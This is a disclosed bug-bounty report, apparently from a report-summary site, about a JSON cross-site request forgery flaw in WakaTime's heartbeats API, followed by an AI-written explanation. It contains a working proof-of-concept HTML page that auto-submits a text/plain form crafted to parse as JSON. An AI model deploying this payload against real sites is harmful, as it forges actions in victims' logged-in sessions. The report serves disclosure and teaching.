JSON CSRF on POST Heartbeats API
The WakaTime heartbeats API accepted JSON requests with a text/plain content type, so a malicious page could submit a form that the server parsed as JSON. An attacker could make a logged-in user's browser send forged heartbeat data to the API.
- Triaged in 13 hours
- Fixed in 16 hours
- Disclosed after 19 hours
Summary by the program
Thanks @sp1d3rs!
Summary by the researcher
WakaTime API used JSON for communications and supported cookie-based authentication/CSRF protection on https://api.wakatime.com. Usually, JSON is CSRF-safe, but only when requests with content-type other than application/json gets rejected or additional CSRF protection is in place (Authorization headers/API keys). In another case, JSON CSRF can be achieved using the form with text/plain content-type, and well-formatted JSON request.
Used POC:
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>
$( document ).ready(function() {
$("#z").attr("name",'{"entity":"https://zzz.com","type":"domain","time":"'+($.now()/1000)+'","project":"<<LAST_PROJECT>>","is_debugging":false,"plugin":"chrome-wakatime/1.0.2","fakeparam":"');
$("#f").submit();
});
</script>
</head>
<body>
<form id="f" ENCTYPE="text/plain" action="https://api.wakatime.com/api/v1/users/current/heartbeats" method="post">
<input id="z" type="hidden" name='test' value='test"}'>
<input type="submit" value="send">
</form>
</body>
</html>
It led to correct request, which was accepted by the server:
{
"entity":"https://zzz.com",
"type":"domain",
"time":"1499073845.176",
"project":"<<LAST_PROJECT>>",
"is_debugging":false,
"plugin":"chrome-wakatime/1.0.2",
"fakeparam":"=test"
}
The WakaTime team fixed the issue fast by implementing access to this endpoint with API key. P.S. fix was temporary reverted back (due to updating of some things), it is known by WakaTime team.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the endpoint accepted requests with a text/plain content type and parsed the body as JSON, instead of rejecting non-JSON content types or requiring an API key.
Impact
An attacker could make a logged-in user's browser send forged heartbeat records to the API; the text does not claim any further impact.
What the attacker needed
Victim is logged in to WakaTime; victim visits attacker's page
The fix
The endpoint was changed to require an API key, though the text notes this fix was temporarily reverted.
How it was found
- Create an HTML page with a form that posts to the heartbeats endpoint using text/plain encoding.
- Set the form field name so the submitted body forms valid JSON.
- Submit the form automatically when the page loads.
- The server accepts the request and processes the JSON body.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Websites often protect against cross-site request forgery (CSRF) by only accepting JSON, because a normal HTML form cannot send JSON. Here the server also accepted a form submission labelled as plain text, and then treated the body as JSON anyway. That let an attacker's page send a request the user did not intend.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.